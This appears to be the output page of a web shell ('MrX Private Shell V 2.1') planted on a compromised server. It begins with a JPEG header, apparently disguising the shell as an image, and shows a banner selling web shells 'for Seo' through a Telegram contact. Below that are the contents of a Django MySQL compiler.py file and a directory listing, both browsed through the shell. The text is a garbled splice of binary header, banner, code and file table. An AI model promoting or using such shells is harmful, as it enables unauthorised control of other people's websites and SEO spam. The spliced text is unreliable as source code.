����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# MySQL Connector/Python - MySQL driver written in Python.
import django
from django.db.models.sql import compiler
from django.utils.six.moves import zip_longest
class SQLCompiler(compiler.SQLCompiler):
def resolve_columns(self, row, fields=()):
values = []
index_extra_select = len(self.query.extra_select)
bool_fields = ("BooleanField", "NullBooleanField")
for value, field in zip_longest(row[index_extra_select:], fields):
if (field and field.get_internal_type() in bool_fields and
value in (0, 1)):
value = bool(value)
values.append(value)
return row[:index_extra_select] + tuple(values)
if django.VERSION >= (1, 8):
def as_subquery_condition(self, alias, columns, compiler):
qn = compiler.quote_name_unless_alias
qn2 = self.connection.ops.quote_name
sql, params = self.as_sql()
return '(%s) IN (%s)' % (', '.join('%s.%s' % (qn(alias), qn2(column)) for column in columns), sql), params
else:
def as_subquery_condition(self, alias, columns, qn):
# Django 1.6
qn2 = self.connection.ops.quote_name
sql, params = self.as_sql()
column_list = ', '.join(
['%s.%s' % (qn(alias), qn2(column)) for column in columns])
return '({0}) IN ({1})'.format(column_list, sql), params
class SQLInsertCompiler(compiler.SQLInsertCompiler, SQLCompiler):
pass
class SQLDeleteCompiler(compiler.SQLDeleteCompiler, SQLCompiler):
pass
class SQLUpdateCompiler(compiler.SQLUpdateCompiler, SQLCompiler):
pass
class SQLAggregateCompiler(compiler.SQLAggregateCompiler, SQLCompiler):
pass
if django.VERSION < (1, 8):
class SQLDateCompiler(compiler.SQLDateCompiler, SQLCompiler):
pass
if django.VERSION >= (1, 6):
class SQLDateTimeCompiler(compiler.SQLDateTimeCompiler, SQLCompiler):
# Django 1.6
pass
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| base.py | File | 20.14 KB | 0644 |
|
| client.py | File | 1.84 KB | 0644 |
|
| compiler.py | File | 1.96 KB | 0644 |
|
| creation.py | File | 5.63 KB | 0644 |
|
| features.py | File | 4.23 KB | 0644 |
|
| introspection.py | File | 13.1 KB | 0644 |
|
| operations.py | File | 11.52 KB | 0644 |
|
| schema.py | File | 3.55 KB | 0644 |
|
| validation.py | File | 2.54 KB | 0644 |
|